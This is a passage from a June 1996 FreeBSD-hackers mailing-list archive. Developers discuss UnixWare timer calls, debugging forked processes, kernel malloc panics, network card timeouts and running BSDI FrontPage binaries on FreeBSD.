setitimer(RT)/getitimer(RT) alarm signal generation interfaces. The only real way to handle this on UnixWare required root provildeges. You must use the undocumented HRT system calls ("High Resoloution Timer") to implement small interval timings. The interfaces are in the header files in /usr/include/sys. One caveat: for the timer to fire *and* be acted upon in as short a period of time (sub quanta) as needed, you have to set the process into a RT scheduling class. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 13:17:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA21186 for hackers-outgoing; Thu, 27 Jun 1996 13:17:48 -0700 (PDT) Received: from novell.com (nj-ums.fpk.novell.com [147.2.128.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA21179 for ; Thu, 27 Jun 1996 13:17:46 -0700 (PDT) Received: from INET-NJ-Message_Server by novell.com with Novell_GroupWise; Thu, 27 Jun 1996 15:17:05 -0400 Message-Id: X-Mailer: Novell GroupWise 4.1 Date: Thu, 27 Jun 1996 16:24:38 -0400 From: Darren Davis To: hal@novell.com, brandon@tombstone.sunrem.com Cc: freebsd-hackers@freebsd.org Subject: Re: portable microsecond sleeps - Reply Encoding: 15 Text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >>> Hal Snyder 6/27 12:54pm >>> Does Unixware do pthreads? I don't have docs handy here, but think there may have been a microsleep in Pthreads. >>> UnixWare has its own thread implementation that is basically a super set of the Sun Solaris threads. UnixWare was going to handle Posix threads as a wrapper around its own thread impentation. There is no resemblance to pthreads in the UnixWare threads. There is no microsleep in the UnixWare threads implementation. Darren R. Davis Senior Software Engineer Novell, Inc. From owner-freebsd-hackers Thu Jun 27 13:20:57 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA21569 for hackers-outgoing; Thu, 27 Jun 1996 13:20:57 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA21553 for ; Thu, 27 Jun 1996 13:20:52 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id NAA05687; Thu, 27 Jun 1996 13:17:27 -0700 From: Terry Lambert Message-Id: <199606272017.NAA05687@phaeton.artisoft.com> Subject: Re: longstanding, woeful inadeqacy To: fhackers@jraynard.demon.co.uk (James Raynard) Date: Thu, 27 Jun 1996 13:17:27 -0700 (MST) Cc: alk@think.com, jkh@time.cdrom.com, hackers@freebsd.org In-Reply-To: <199606270949.JAA00671@jraynard.demon.co.uk> from "James Raynard" at Jun 27, 96 09:49:26 am X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > : Fork is an easier case since you don't need to swap the debugger's > > : executable out - just attach to the new process. > > > > Easier in what sense? It is essentially impossible to debug anything > > that forks, since by the time you can attach to it, it has gone > > veering wildly out of control. > > Not if you put a sleep loop in it:- > > int PauseMode = 1; > > if (fork()) /* parent */ > .... > else { /* child */ > while (PauseMode) > sleep(5); > ... > } > > and then set PauseMode to 0 when you attach. Or use vfork and implicitly follow the fork (vfork won't resume the parent process until the child exits or exec's... this would be more useful if one could tell which one had occurred without depending on the inherently unreliable SIGCHLD). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 13:32:48 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA22743 for hackers-outgoing; Thu, 27 Jun 1996 13:32:48 -0700 (PDT) Received: from mail.think.com (Mail1.Think.COM [131.239.33.245]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA22733 for ; Thu, 27 Jun 1996 13:32:37 -0700 (PDT) Received: from Early-Bird-1.Think.COM by mail.think.com; Thu, 27 Jun 96 16:09:41 -0400 Received: from compound.Think.COM by Early-Bird.Think.COM; Thu, 27 Jun 96 16:31:05 EDT Received: (from alk@localhost) by compound.Think.COM (8.7.5/8.7.3) id PAA26920; Thu, 27 Jun 1996 15:30:57 -0500 (CDT) Date: Thu, 27 Jun 1996 15:30:57 -0500 (CDT) From: Tony Kimball Message-Id: <199606272030.PAA26920@compound.Think.COM> To: fhackers@jraynard.demon.co.uk Cc: jkh@time.cdrom.com, hackers@freebsd.org Subject: Re: longstanding, woeful inadeqacy References: <199606270638.BAA00387@compound.Think.COM> <199606270949.JAA00671@jraynard.demon.co.uk> Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Quoth James Raynard on Thu, 27 June: : > Easier in what sense? It is essentially impossible to debug anything : > that forks, since by the time you can attach to it, it has gone : > veering wildly out of control. : : Not if you put a sleep loop in it And if I don't have source code? Or a compiler? Or if the insertion of the sleep loop fixes the compiler bug which I was trying to find in the first place? Or if the sleep loop prevents the process from meeting a synchronization constraint which makes it impossible to debug the original execution profile? From owner-freebsd-hackers Thu Jun 27 13:39:47 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA23542 for hackers-outgoing; Thu, 27 Jun 1996 13:39:47 -0700 (PDT) Received: from schizo.cdsnet.net (schizo.cdsnet.net [204.118.244.32]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA23533 for ; Thu, 27 Jun 1996 13:39:42 -0700 (PDT) Received: from localhost (mrcpu@localhost) by schizo.cdsnet.net (8.7.5/8.6.12) with SMTP id NAA19762 for ; Thu, 27 Jun 1996 13:39:55 -0700 (PDT) Date: Thu, 27 Jun 1996 13:39:55 -0700 (PDT) From: Jaye Mathisen To: hackers@freebsd.org Subject: de0: Transmission timeout? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk P6-200, 2940, SMC Etherpower 10/100, -current. This same card works fine in a P5-120 with a similar config. It is just locking up regularly, but this is a new error. From owner-freebsd-hackers Thu Jun 27 13:47:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA24011 for hackers-outgoing; Thu, 27 Jun 1996 13:47:34 -0700 (PDT) Received: from tombstone.sunrem.com (tombstone.sunrem.com [206.81.134.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id NAA24006 for ; Thu, 27 Jun 1996 13:47:28 -0700 (PDT) Received: (from brandon@localhost) by tombstone.sunrem.com (8.6.12/8.6.12) id OAA00827; Thu, 27 Jun 1996 14:47:26 -0600 Date: Thu, 27 Jun 1996 14:47:26 -0600 (MDT) From: Brandon Gillespie To: freebsd-hackers@FreeBSD.ORG Subject: Re: portable microsecond sleeps In-Reply-To: <199606272015.NAA05677@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Thanks for the great comments, but after peering at the code again I realized the true problem. The developer wrote the code in Windows 95, and is porting it to the two unix servers--I suggested he use select, which he did, but being unfamiliar with the timeval structure he assumed tv_usec was milliseconds, the true problem was he was 'sleeping' with select for 500 microseconds. User Error :b -Brandon From owner-freebsd-hackers Thu Jun 27 13:53:07 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id NAA24363 for hackers-outgoing; Thu, 27 Jun 1996 13:53:07 -0700 (PDT) Received: from root.com (implode.root.com [198.145.90.17]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id NAA24350 for ; Thu, 27 Jun 1996 13:52:47 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by root.com (8.7.5/8.6.5) with SMTP id NAA03920; Thu, 27 Jun 1996 13:51:21 -0700 (PDT) Message-Id: <199606272051.NAA03920@root.com> X-Authentication-Warning: implode.root.com: Host localhost [127.0.0.1] didn't use HELO protocol To: Joe Greco cc: hackers@freebsd.org Subject: Re: kmem_malloc: kmem_map too small In-reply-to: Your message of "Thu, 27 Jun 1996 14:23:52 CDT." <199606271923.OAA10989@brasil.moneng.mei.com> From: David Greenman Reply-To: davidg@root.com Date: Thu, 27 Jun 1996 13:51:21 -0700 Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Just a note, I saw the message from David about this.. > >> >I got a panic similar to the above every 15 minutes no a bsd 2.1R with >> >12MB ram, 486/66 and apache 1.0.3 >> > >> >Anyone know what that error means? >> >> It means that the kernel ran out of malloc space. Pretty incredible >> considering that it should have 32MB to work with. This is likely an >> indicator that you have one or more kernel config parameters set in >> the twilight zone. > >I just ran into this. The system is a 256MB P133 running INN, with a fair >amount of shared memory in use. I have traditionally tweaked maxusers to be >2 * #MB_of_RAM so it had maxusers 512 :-) (I am shooting to see this >machine hit 300-400 nnrp users, yes, I realize maxusers does not necessarily >have to directly relate to that number, but...) > >The twilight zone is all relative. :-) ---------------------------- revision 1.19 date: 1996/01/29 11:12:37; author: davidg; state: Exp; lines: +7 -3 Implement what I mentioned in rev 1.18: limit per-bucket allocations to 60% of physical memory or 60% of malloc area size, whichever is smaller. ---------------------------- revision 1.18 date: 1996/01/29 09:58:34; author: davidg; state: Exp; lines: +9 -7 Fixed two bugs in the calculation of the malloc area (kmem_map) size: 1) The calculation didn't account for NMBCLUSTERS, so if a large number of clusters was specified, it would leave little or no space for kernel malloc. 2) It was bogusly restricted to v_page_count. This doesn't take into account the sparseness of the malloc area and would have caused problems on machines with small amounts of memory. It should probably instead be changed to set the malloc limit to be constrained by the amount of memory, but I didn't do this. ---------------------------- revision 1.12.4.1 date: 1996/01/29 11:20:25; author: davidg; state: Exp; lines: +13 -7 Retrofitted changes from revs 1.18 and 1.19: fix bugs with malloc area size calculations. --- Since nmbclusters is tied to maxusers unless you override it in the config file, a setting of 512 will likely make the malloc pool (kmem_map) too small for the kernel to allocate the space it needs for other things. It appears that you haven't updated your kernel sources to -stable to get the fixes mentioned above. Note also that even with the bugfix, you're treading very close to the kernel VM limits. Going higher than this requires source code changes to move the base of the kernel VM down in memory. This has not been done in general because of BSD/OS compatibility (BSDI does some really stupid things in crt0 that force a specific user stack address...and this pretty much requires that the entire kernel VM layout to be specific, too). If we didn't care about BSD/OS compatibility, then this wouldn't be an issue. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-hackers Thu Jun 27 14:26:51 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA27126 for hackers-outgoing; Thu, 27 Jun 1996 14:26:51 -0700 (PDT) Received: from novell.com (nj-ums.fpk.novell.com [147.2.128.54]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA27113 for ; Thu, 27 Jun 1996 14:26:43 -0700 (PDT) Received: from INET-NJ-Message_Server by novell.com with Novell_GroupWise; Thu, 27 Jun 1996 16:25:39 -0400 Message-Id: X-Mailer: Novell GroupWise 4.1 Date: Thu, 27 Jun 1996 17:32:58 -0400 From: Darren Davis To: terry@novell.com, brandon@tombstone.sunrem.com Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: portable microsecond sleeps - Reply Encoding: 11 Text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >>> Terry Lambert 6/27 2:15pm >>> UnixWare is broken. The smalles sleep increment for select is 10uS. >>> Too Late! We got him going. {:-) Darren R. Davis Senior Software Engineer Novell, Inc. From owner-freebsd-hackers Thu Jun 27 14:45:52 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA28632 for hackers-outgoing; Thu, 27 Jun 1996 14:45:52 -0700 (PDT) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA28618 for ; Thu, 27 Jun 1996 14:45:44 -0700 (PDT) Received: from time.cdrom.com (localhost [127.0.0.1]) by time.cdrom.com (8.7.5/8.6.9) with ESMTP id OAA03733; Thu, 27 Jun 1996 14:42:55 -0700 (PDT) To: Terry Lambert cc: pechter@shell.monmouth.com, freebsd-hackers@FreeBSD.org Subject: Re: no subject (file transmission) In-reply-to: Your message of "Thu, 27 Jun 1996 11:17:53 PDT." <199606271817.LAA05396@phaeton.artisoft.com> Date: Thu, 27 Jun 1996 14:42:54 -0700 Message-ID: <3731.835911774@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > Only problem is that it changes the environment code to use logical > name tables. > > [description of much hackery deleted] Yeeks! I think that price is just a little too high to pay for only variant symlinks. Maybe phk is right - maybe it IS time for a genuine registry. :-) Jordan From owner-freebsd-hackers Thu Jun 27 14:55:39 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA29761 for hackers-outgoing; Thu, 27 Jun 1996 14:55:39 -0700 (PDT) Received: from tiny.mcs.usu.edu (tiny.mcs.usu.edu [129.123.15.8]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id OAA29746 for ; Thu, 27 Jun 1996 14:55:35 -0700 (PDT) Received: (from kurto@localhost) by tiny.mcs.usu.edu (8.6.11/8.6.9) id PAA18357; Thu, 27 Jun 1996 15:55:32 -0600 Date: Thu, 27 Jun 1996 15:55:32 -0600 From: Kurt Olsen Message-Id: <199606272155.PAA18357@tiny.mcs.usu.edu> To: hackers@FreeBSD.org, mrcpu@cdsnet.net Subject: Re: de0: Transmission timeout? Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk I've seen this same behavior and a knowledgable friend tells me it's a common bug. Claims that it expires the arp entry for the default router, so you can't talk to it from anywhere outside the subnet. A work-around is to have either a cron job that pings out of your subnet every few minutes, or just do what I do and: % ping -i 300 >& /dev/null & I haven't look into the kernel to see if this is the case though, but the ping does the job (as well as logging in from the console, then telneting out.) Kurt From owner-freebsd-hackers Thu Jun 27 14:58:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id OAA00207 for hackers-outgoing; Thu, 27 Jun 1996 14:58:03 -0700 (PDT) Received: from melb.werple.net.au (melb.werple.net.au [203.9.190.18]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id OAA00192 for ; Thu, 27 Jun 1996 14:57:55 -0700 (PDT) Received: from cimaxp1.UUCP (uucp@localhost) by melb.werple.net.au (8.7.5/8.7.3/2) with UUCP id HAA23520 for mira!FreeBSD.org!hackers; Fri, 28 Jun 1996 07:44:32 +1000 (EST) Message-Id: <199606272144.HAA23520@melb.werple.net.au> Received: by cimaxp1.cimlogic.com.au; (5.65/1.1.8.2/10Sep95-0953AM) id AA23803; Fri, 28 Jun 1996 07:45:13 +1000 From: John Birrell Subject: Re: Threads for -stable To: haldjas.folklore.ee!narvi@melb.werple.net.au (Narvi) Date: Fri, 28 Jun 1996 07:45:13 +1000 (EST) Cc: FreeBSD.org!hackers@melb.werple.net.au In-Reply-To: from "Narvi" at Jun 27, 96 11:42:41 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > > HI! > > I know there is the threaded libc (libc_r) for -current but I would like > to experiment with threads on -stable. Is it possible to take libc_r from > -stable and bring it over to -stable? Or will it be overly big a task? libc_r from -current should work with -stable. We use it with 2.1R. We *can't* use it with -current because of the pipe problems. Be careful to compile both libc_r and your program against -current header files. > > If I only could get a machine to run -current on... But I quite don't > have the courage to run -current on either of our 2 servers (which happen > to be the only FreeBSD machines). > > Sander > -- John Birrell CIMlogic Pty Ltd jb@cimlogic.com.au 119 Cecil Street Ph +61 3 9690 6900 South Melbourne Vic 3205 Fax +61 3 9690 6650 Australia Mob +61 18 353 137 From owner-freebsd-hackers Thu Jun 27 15:05:35 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA01047 for hackers-outgoing; Thu, 27 Jun 1996 15:05:35 -0700 (PDT) Received: from storm.certix.fr (storm.certix.fr [194.51.232.32]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id PAA00724 for ; Thu, 27 Jun 1996 15:01:57 -0700 (PDT) Received: from rafale.home (pm2-049.sct.fr [194.206.160.49]) by storm.certix.fr (8.6.12/8.6.12) with SMTP id XAA15010 for ; Thu, 27 Jun 1996 23:48:25 +0200 Date: Thu, 27 Jun 1996 23:48:25 +0200 Message-Id: <199606272148.XAA15010@storm.certix.fr> X-Sender: segura@worldnet.net X-Mailer: Windows Eudora Light Version 1.5.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: hackers@FreeBSD.org From: Fabrice Segura Subject: Frontpage, FreeBSD, and Apache Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hi all, I'm running FreeBSD 2.1, and Apache 1.05. I've tried to install the Microsoft FrontPage server extensions, (the BSDi version), and I can't run any of the executables. They all immediatly core dump. Has anyone tried the same ? (and maybe successfully configured the whole) All tips appreciated. Thaks From owner-freebsd-hackers Thu Jun 27 15:10:43 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id PAA01338 for hackers-outgoing; Thu, 27 Jun 1996 15:10:43 -0700 (PDT) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id PAA01333 for ; Thu, 27 Jun 1996 15:10:41 -0700 (PDT) Received: from schizo.cdsnet.net (schizo.cdsnet.net [204.118.244.32]) by who.cdrom.com (8.6.12/8.6.11) with ESMTP id PAA06668 for ; Thu, 27 Jun 1996 15:10:37 -0700 Received: from localhost (mrcpu@localhost) by schizo.cdsnet.net (8.7.5/8.6.12) with SMTP id PAA20254; Thu, 27 Jun 1996 15:09:21 -0700 (PDT) Date: Thu, 27 Jun 1996 15:09:20 -0700 (PDT) From: Jaye Mathisen To: Kurt Olsen cc: hackers@FreeBSD.org Subject: Re: de0: Transmission timeout? In-Reply-To: <199606272155.PAA18357@tiny.mcs.usu.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk Hmmm, I'm a bit skeptical of this explanation, for the following reason. The same kernel and source tree is on 4 identical boxes (4 P120's), and the 1 P6, and the P6 only has this problem. Swapping cards and slots doesn't fix it either, it's only on the P6. So I'm thinking a hardware problem of somekind, but I can't imagine what. 3com cards work fine, the adaptec works fine, just the darn network card. On Thu, 27 Jun 1996, Kurt Olsen wrote: > I've seen this same behavior and a knowledgable friend tells me it's a > common bug. Claims that it expires the arp entry for the default router, > so you can't talk to it from anywhere outside the subnet. A work-around > is to have either a cron job that pings out of your subnet every few minutes, > or just do what I do and: > > % ping -i 300 >& /dev/null & > > I haven't look into the kernel to see if this is the case though, but the > ping does the job (as well as logging in from the console, then telneting > out.) > > Kurt > From owner-freebsd-hackers Thu Jun 27 16:19:03 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA05668 for hackers-outgoing; Thu, 27 Jun 1996 16:19:03 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA05661 for ; Thu, 27 Jun 1996 16:19:00 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id QAA06201; Thu, 27 Jun 1996 16:16:58 -0700 From: Terry Lambert Message-Id: <199606272316.QAA06201@phaeton.artisoft.com> Subject: Re: no subject (file transmission) To: jkh@time.cdrom.com (Jordan K. Hubbard) Date: Thu, 27 Jun 1996 16:16:58 -0700 (MST) Cc: terry@lambert.org, pechter@shell.monmouth.com, freebsd-hackers@FreeBSD.org In-Reply-To: <3731.835911774@time.cdrom.com> from "Jordan K. Hubbard" at Jun 27, 96 02:42:54 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.org X-Loop: FreeBSD.org Precedence: bulk > > Only problem is that it changes the environment code to use logical > > name tables. > > > > [description of much hackery deleted] > > Yeeks! I think that price is just a little too high to pay for only > variant symlinks. Maybe phk is right - maybe it IS time for a genuine > registry. :-) Actually that's not "much hackery". It's how the environment should have been implemented in the first place. Diddling your own address space for environment is brutal. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 16:50:34 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA08028 for hackers-outgoing; Thu, 27 Jun 1996 16:50:34 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.211]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id QAA08014 for ; Thu, 27 Jun 1996 16:50:26 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id QAA06284; Thu, 27 Jun 1996 16:48:38 -0700 From: Terry Lambert Message-Id: <199606272348.QAA06284@phaeton.artisoft.com> Subject: Re: Frontpage, FreeBSD, and Apache To: segura@worldnet.net (Fabrice Segura) Date: Thu, 27 Jun 1996 16:48:38 -0700 (MST) Cc: hackers@FreeBSD.ORG In-Reply-To: <199606272148.XAA15010@storm.certix.fr> from "Fabrice Segura" at Jun 27, 96 11:48:25 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I'm running FreeBSD 2.1, and Apache 1.05. > I've tried to install the Microsoft FrontPage server extensions, (the BSDi > version), and I can't run any of the executables. They all immediatly core > dump. > > Has anyone tried the same ? (and maybe successfully configured the whole) > > > All tips appreciated. 1) You should have sent this to the -questions list 2) Microsoft FrontPage BSDI binaries are BSDI 2.0 binaries, and require the BSDI 2.0 emulation code to operate (you must upgrade your FreeBSD past the most recent release, most likely to -current). Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Thu Jun 27 16:54:37 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id QAA08367 for hackers-outgoing; Thu, 27 Jun 1996 16:54:37 -0700 (PDT) Received: from wireless.Stanford.EDU (wireless.Stanford.EDU [36.10.0.102]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id QAA08362 for ; Thu, 27 Jun 1996 16:54:31 -0700 (PDT) Received: (from akyol@localhost) by wireless.Stanford.EDU (8.7.5/8.7.1) id QAA18644; Thu, 27 Jun 1996 16:54:27 -0700 (PDT) Date: Thu, 27 Jun 1996 16:54:26 -0700 (PDT) From: Bora Akyol To: hackers@freebsd.org Subject: DE Driver for 21x4x missing from boot.flp on 2.2 Snapshot Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi The DEC 21x4x driver is missing from the 2.2 latest snapshot. Can somebody please put an updated floppy image there. If it actually there how come my card is detected by 2.1-SNAPSHOT and not the 2.2 Snapshot. Thanks Bora please email me since I am not on the list ------------------------------------------------------------ Bora Aydin Akyol akyol@leland.stanford.edu ------------------------------------------------------------ From owner-freebsd-hackers Thu Jun 27 17:15:24 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA09398 for hackers-outgoing; Thu, 27 Jun 1996 17:15:24 -0700 (PDT) Received: from lynx.its.unimelb.edu.au (lynx.its.unimelb.EDU.AU [128.250.20.151]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id RAA09391 for ; Thu, 27 Jun 1996 17:15:21 -0700 (PDT) Received: (from danny@localhost) by lynx.its.unimelb.edu.au (8.6.11/8.6.9) id KAA00649; Fri, 28 Jun 1996 10:14:56 +1000 Date: Fri, 28 Jun 1996 10:14:55 +1000 (EST) From: "Daniel O'Callaghan" To: Fabrice Segura cc: hackers@FreeBSD.ORG Subject: Re: Frontpage, FreeBSD, and Apache In-Reply-To: <199606272148.XAA15010@storm.certix.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Thu, 27 Jun 1996, Fabrice Segura wrote: > I'm running FreeBSD 2.1, and Apache 1.05. > I've tried to install the Microsoft FrontPage server extensions, (the BSDi > version), and I can't run any of the executables. They all > immediatly core dump. > > Has anyone tried the same ? (and maybe successfully configured the whole) I think you need to run FreeBSD-stable/FreeBSD-2.1-9606060-SNAP or FreeBSD-2.1.5-RELEASE (when it is released). 2.1.0-RELEASE does not support BSDi's BSD/OS 2.0 binaries. Danny From owner-freebsd-hackers Thu Jun 27 17:35:45 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA10551 for hackers-outgoing; Thu, 27 Jun 1996 17:35:45 -0700 (PDT) Received: from uclink4.berkeley.edu (uclink4.Berkeley.EDU [128.32.155.12]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id RAA10544 for ; Thu, 27 Jun 1996 17:35:37 -0700 (PDT) Received: from uclink.berkeley.edu (uclink.berkeley.edu [128.32.155.3]) by uclink4.berkeley.edu (8.7.5/8.6.12) with ESMTP id RAA02932; Thu, 27 Jun 1996 17:35:15 -0700 (PDT) Received: from localhost (daveh@localhost) by uclink.berkeley.edu (8.7.5/8.6.12) with SMTP id RAA26500; Thu, 27 Jun 1996 17:34:18 -0700 Date: Thu, 27 Jun 1996 17:34:17 -0700 (PDT) From: David Michael Holloway To: hackers@freebsd.org cc: daveh@gateway.dkstat.com Subject: USS lite/ USS beyond 3.0b In-Reply-To: <199606272348.QAA06284@phaeton.artisoft.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk So here I am I have finnally pestered RealAudio people about FreebSD support and I have figured it out that voxware/uss is needed, USS people arent working on Freebsd right now, but I do remember installing 3.0beta of voxware about 6 months ago. Anyone know the status of USS-lite with regard to FreeBSD support? also, on my new machine for work A Micron Millenia(pentium 166), /usr/local/bin/top causes a floating exception. any ideaas? From owner-freebsd-hackers Thu Jun 27 17:42:17 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id RAA11144 for hackers-outgoing; Thu, 27 Jun 1996 17:42:17 -0700 (PDT) Received: from hud.gov (hudgate.hud.gov [198.200.153.4]) by freefall.freebsd.org (8.7.5/8.7.3) with SMTP id RAA11135 for ; Thu, 27 Jun 1996 17:42:14 -0700 (PDT) Received: by hud.gov (4.1/SMI-4.1) id AA00882; Thu, 27 Jun 96 20:44:15 EDT Message-Id: <9606280044.AA00882@hud.gov> Received: from unknown(170.97.253.146) by hudgate via smap (V1.0mjr) id sma000878; Thu Jun 27 20:43:22 1996 Date: Thu, 27 Jun 96 17:53:28 -0700 From: nick liu X-Mailer: Mozilla 1.1N (Windows; I; 16bit) Mime-Version: 1.0 To: hackers@freebsd.org Subject: RE: ed0 -- device timeout Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > I am randomly getting ed0 kernel device timeout messages from my Freebsd > 2.0R machine... > > I am running a NE2000 clone network card... > > (I have other devices on the network running OK - and the cabling is fine.) > > Is the card faulty or should I be using a different NIC with better > driver code in the Kernel ? > > Here is my dmesg output: > ed0 at 0x280-0x29f irq 5 on isa > ed0: address 00:00:01:04:80:53, type NE2000 (16 bit) > > Errors-: > ed0: device timeout > ed0: device timeout > > John Herks > john@pyromania.apana.org.au My problem is similar. The system boots up without any stange problem until "routed" starts to run. And then, "ed0: device timeout..." Is there a cure??? From owner-freebsd-hackers Thu Jun 27 18:26:58 1996 Return-Path: owner-hackers Received: (from root@localhost) by freefall.freebsd.org (8.7.5/8.7.3) id SAA18625 for hackers-outgoing; Thu, 27 Jun 1996 18:26:58 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by freefall.freebsd.org (8.7.5/8.7.3) with ESMTP id SAA18618 for ; Thu, 27 Jun 1996 18:26:55 -0700 (PDT) Received: from msmith@localhost by genesis.atrad.adelaide.edu.au (8.6.12/8.6.9) id KAA14345; Fri, 28 Jun 1996 10:44:23 +0930 From: Michael Smith Message-Id: <199606280114.KAA14345@genesis.atrad.adelaide.edu.au> Subject: Re: ed0 -- device timeout To: nick_liu@hud.gov (nick liu) Date: Fri, 28 Jun 1996 10:44:23 +0930 (CST) Cc: hackers@freebsd.org In-Reply-To: <9606280044.AA00882@hud.gov> from "nick liu" at Jun 27, 96 05:53:28 pm MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk nick liu stands accused of saying: > > > I am randomly getting ed0 kernel device timeout messages from my Freebsd > > 2.0R machine... This is almost certainly in the FAQ or the handbook. What it means is that the driver isn't getting interrupts from the card. One of the following is true : - You have a cabling problem. - You have selected the wrong media 